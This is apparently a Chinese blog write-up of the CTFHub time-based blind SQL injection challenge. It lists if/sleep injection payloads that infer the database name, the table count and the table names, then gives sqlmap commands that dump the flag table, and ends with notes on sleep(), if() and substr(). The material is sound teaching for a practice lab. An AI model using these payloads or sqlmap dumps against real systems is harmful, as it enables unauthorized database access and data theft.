40,【5】CTFHUB WEB SQL 时间盲注

进入靶场

输入1

猜测其名称长度,为4时页面卡顿,确定长度

1 and if(length(database())=4,sleep(3),1)

根据之前几道题的经验,应该是sqli

1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)

1 and if(ascii(substr(database(),2,1))=113,sleep(3),1)

1 and if(ascii(substr(database(),3,1))=108,sleep(3),1)

1 and if(ascii(substr(database(),4,1))=105,sleep(3),1)

确定为sqli

1 and if((select count(table_name) from information_schema.tables

where table_schema=database())=2,sleep(3),1)

确定表有2个,使用以下语句判断表名

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(3),1)

假设我已经判断出new和flag了

继续用如上方法判断字段数,字段名,一个一个判断flag里面的元素

工作量太大了,上sqlmap

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 --dbs

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli --tables

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli -T flag --columns

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli -T flag -C flag --dump

笔记

1.时间盲注最重要的工具就是sleep(),括号里面的数字就是页面加载需要的时间

2,if(A,B,C)

这是if语句,A语句正确时运行B,A语句错误时运行C

3,

substr(string, start, length)

string:要截取的源字符串。

start:开始截取的位置。如果 start 为正数,从字符串的左边开始计数;如果为负数,从字符串的右边开始计数。

length:要截取的字符长度。

相关推荐
瓜酷月..3 小时前
MySQL的高可用+MHA
数据库·mysql
差不多的张三3 小时前
【解决方案】powershell自动连接夜神adb端口
数据库·adb
小马哥编程4 小时前
【软考架构】第6章 数据库基本概念
数据库·oracle·架构
自学也学好编程4 小时前
【数据库】PostgreSQL详解:企业级关系型数据库
数据库·postgresql
.Eyes6 小时前
OceanBase 分区裁剪(Partition Pruning)原理解读
数据库·oceanbase
MrZhangBaby7 小时前
SQL-leetcode— 2356. 每位教师所教授的科目种类的数量
数据库
一水鉴天7 小时前
整体设计 之定稿 “凝聚式中心点”原型 --整除:智能合约和DBMS的在表层挂接 能/所 依据的深层套接 之2
数据库·人工智能·智能合约
翔云1234567 小时前
Python 中 SQLAlchemy 和 MySQLdb 的关系
数据库·python·mysql
孙霸天8 小时前
Ubuntu20系统上离线安装MongoDB
数据库·mongodb·ubuntu·备份还原
Java 码农8 小时前
nodejs mongodb基础
数据库·mongodb·node.js